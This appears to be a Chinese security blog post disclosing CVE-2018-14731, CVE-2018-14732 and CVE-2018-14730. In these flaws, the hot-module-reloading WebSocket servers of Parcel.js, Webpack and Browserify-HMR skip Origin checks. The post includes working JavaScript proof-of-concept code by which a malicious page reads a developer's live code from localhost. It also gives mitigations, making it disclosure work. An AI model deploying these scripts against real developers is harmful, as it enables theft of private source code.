Sniffing Codes in Hot Module Reloading Messages

发表于 2018 年 9 月 20 日

远古时代的前端开发者们通过 <script> 标签引入 JavaScript 代码,随着 npm、yarn 等包管理工具的出现和 ES6、ES7 等等新标准的推出,打包工具成为前端构建流程中必不可少的角色。

包管理工具给开发者带来了更方便的版本控制和依赖管理,而打包工具则提供 Tree Shaking(移除未被引用的代码)、Code Splitting(拆分代码,按需加载)以及 Hot Module Replacement(模块热替换)等功能。其中,模块热替换也叫做模块热重载(Hot Module Reloading)。打包工具通过监听文件系统的事件,在源码发生变化时,用热更新实现模块的替换、添加或者删除操作,而无需重新加载整个页面。换句话说,写入新的代码,按下 Ctrl+S 保存之后,不需要在浏览器上按 F5,新的变化会自动呈现出来。这个能显著提升前端开发效率的特性在当下流行的打包工具中已经成为默认启用的选项了,但它也给正在开发的代码带来被攻击者嗅探的风险。

下面以 Parcel.js、Webpack 和 Browserify 这三个打包工具为例,分析开发环境中 HMR 功能被嗅探的风险。

Parcel.js

NPM | 官网 | CVE-2018-14731

安装:npm install -g parcel-bundler
运行:parcel index.html

Parcel.js 默认在 1234 端口用 serve-static 提供 Web 服务,同时还会在随机端口启动一个用于 HMR 的 WebSocket Server(后面简称 WSS),并且在打包生成的 JS 中插入一段代码来连接并处理 WSS 下发的消息。

从源码 HMRServer.js 中不难看出这个 WSS 没有验证 Request Header 里的 Origin 字段,也没有其他身份验证手段。我们知道 WebSocket 是不受同源策略限制的,也就是说只要知道这个随机的端口号,就可以从任意来源连上 WSS,接收 WSS 下发的热更新消息,而这其中就包含了代码片段。

如何获取 WSS 的端口号?前面说 Parcel.js 把连接 WSS 的代码片段插入在打包好的 JS 文件里:

而 Parcel.js 恰好给 serve-static 加上了允许跨域资源共享的 Response Header

  res.setHeader('Access-Control-Allow-Origin', '*');
  res.setHeader(
    'Access-Control-Allow-Methods',
    'GET, HEAD, PUT, PATCH, POST, DELETE'
  );

(至于为什么要加这个 Header,热心的 Parcel.js 开发者可能只是为了解决一个 issue,merge 了一个 PR…)

现在可以构造出完整的攻击流程来嗅探 HMR:

  1. 开发者在开发时访问 attacker.com
  2. attacker.com 通过 XHR 读取 http://127.0.0.1:1234 的内容,提取出 JS 文件名,例如 /test.df5055a9.js
  3. attacker.com 通过 XHR 读取 http://127.0.0.1:1234/test.df5055a9.js,获取 WSS 端口号
  4. attacker.com 连接 ws://127.0.0.1:端口号,监听消息
  5. 开发者保存代码,触发 HMR,WSS 向所有已连接的 WebSocket Client 下发包含代码片段的热更新消息
  6. HMR 消息到达 attacker.com

PoC 如下

let params = new URLSearchParams(window.location.search);
let target = new URL(params.get('target') || 'http://127.0.0.1:1234');
let wsProtocol = target.protocol === 'http:' ? 'ws' : 'wss';
var ws;
fetch(target).then(r => {
    r.text().then(r => {
        let scriptSrc = r.match(/<script src=\"(.*?)\"><\/script>/)[1];
        fetch(`${target}${scriptSrc}`).then(r => {
            r.text().then(r => {
                let wsPort = r.match(/new WebSocket.*?(\d{4,5})/)[1];
                wsTarget = `${wsProtocol}://${target.hostname}:${wsPort}`;
                ws = new WebSocket(wsTarget);
                ws.onmessage = event => {
                    console.log(event.data)
                };
            })
        })
    })
});

PoC 演示

缓解措施

运行 parcel 时用 --port 参数指定 serve-static 监听的端口,避免使用默认的 1234

Webpack

NPM | 官网 | CVE-2018-14732

为了省去繁琐的配置,这里以 Vue.js 脚手架里的 Webpack 模板为例。

安装:npm install -g vue-cli
创建:vue init webpack webpack-hmr
运行:cd webpack-hmr && npm run dev

运行后 Webpack 默认在 8080 端口启动 dev-server 和用于 HMR 的 WebSocket Server。在 webpack-dev-server/lib/Server.js 中可以看到 WSS 确实有对 Header 进行检查,但它检查的是 Host,而不是 Origin:

    sockServer.on('connection', (conn) => {
      if (!conn) return;
      if (!this.checkHost(conn.headers)) {
        this.sockWrite([conn], 'error', 'Invalid Host header');
        conn.close();
        return;
      }

也就是说,从任意来源连接 ws://127.0.0.1:8080/ 就可以接收到 WSS 下发的 HMR 消息。

与 Parcel.js 不同,Webpack 的 HMR 并没有通过 WebSocket 推送代码片段,而是在建立连接时推送一个 hash,当 HMR 被触发时,WSS 推送 progress-update: 100 和一个新的 hash,浏览器加载 http://127.0.0.1:8080/0.${hash}.hot-update.js 这个 JS,并记录新的 hash 供下次使用。

Webpack HMR 的工作过程

PoC 如下

window.webpackHotUpdate = (...args) => {
    console.log(...args);
    for (i in args[1]) {
        document.body.innerText = args[1][i].toString() + document.body.innerText
	    console.log(args[1][i])
    }
}

let params = new URLSearchParams(window.location.search);
let target = new URL(params.get('target') || 'http://127.0.0.1:8080');
let wsProtocol = target.protocol === 'http:' ? 'ws' : 'wss';
let wsPort = target.port;
var currentHash = '';
let wsTarget = `${wsProtocol}://${target.hostname}:${wsPort}/sockjs-node/123/456/websocket`;
ws = new WebSocket(wsTarget);
ws.onmessage = event => {
    console.log(event.data);
    if (event.data.match('Compilation completed')) {
        s = document.createElement('script');
        s.src = `${target}/0.${currentHash}.hot-update.js`;
        document.body.appendChild(s)
    }
    r = event.data.match(/"([0-9a-f]{20})\\"/);
    if (r !== null) {
        currentHash = r[1];
        console.log(currentHash)
    }
}

PoC 演示

缓解措施

运行 npm run dev 前设置 PORT 环境变量来指定端口,避免使用默认的 8080

Browserify-HMR

NPM | GitHub | CVE-2018-14730

* Browserify 并没有官方的 HMR 功能,这里分析的是使用较广的插件 Browserify-HMR

安装:npm install -g vue-cli
创建:vue init browserify browserify-hmr
运行:cd browserify-hmr && npm run dev

Browserify-HMR 用 sockjs 默认在 3123 启动 WebSocket Server,配合 watchify 实现 HMR。它的 WSS 同样没有验证 Request Header 里的 Origin,也没有其他身份验证手段,直接连接就可以接收到 HMR 消息。

PoC 如下

let params = new URLSearchParams(window.location.search);
let target = new URL(params.get('target') || 'http://127.0.0.1:8080');
let wsProtocol = target.protocol === 'http:' ? 'ws' : 'wss';
let wsTarget = `${wsProtocol}://${target.hostname}:3123/`;

socket = require('socket.io-client')(wsTarget);

socket.on('new modules', data => {
    document.body.innerText = JSON.stringify(data) + document.body.innerText
    console.log(data)
})

PoC 演示

缓解措施

在运行 broserify-hmr 时通过 --port 参数指定 WSS 端口,避免使用默认的 3123。

修复建议

打包工具启动的 WebSocket Server 应该检查 Request Header 中的 Origin 字段,防止 HMR 消息被恶意页面嗅探到。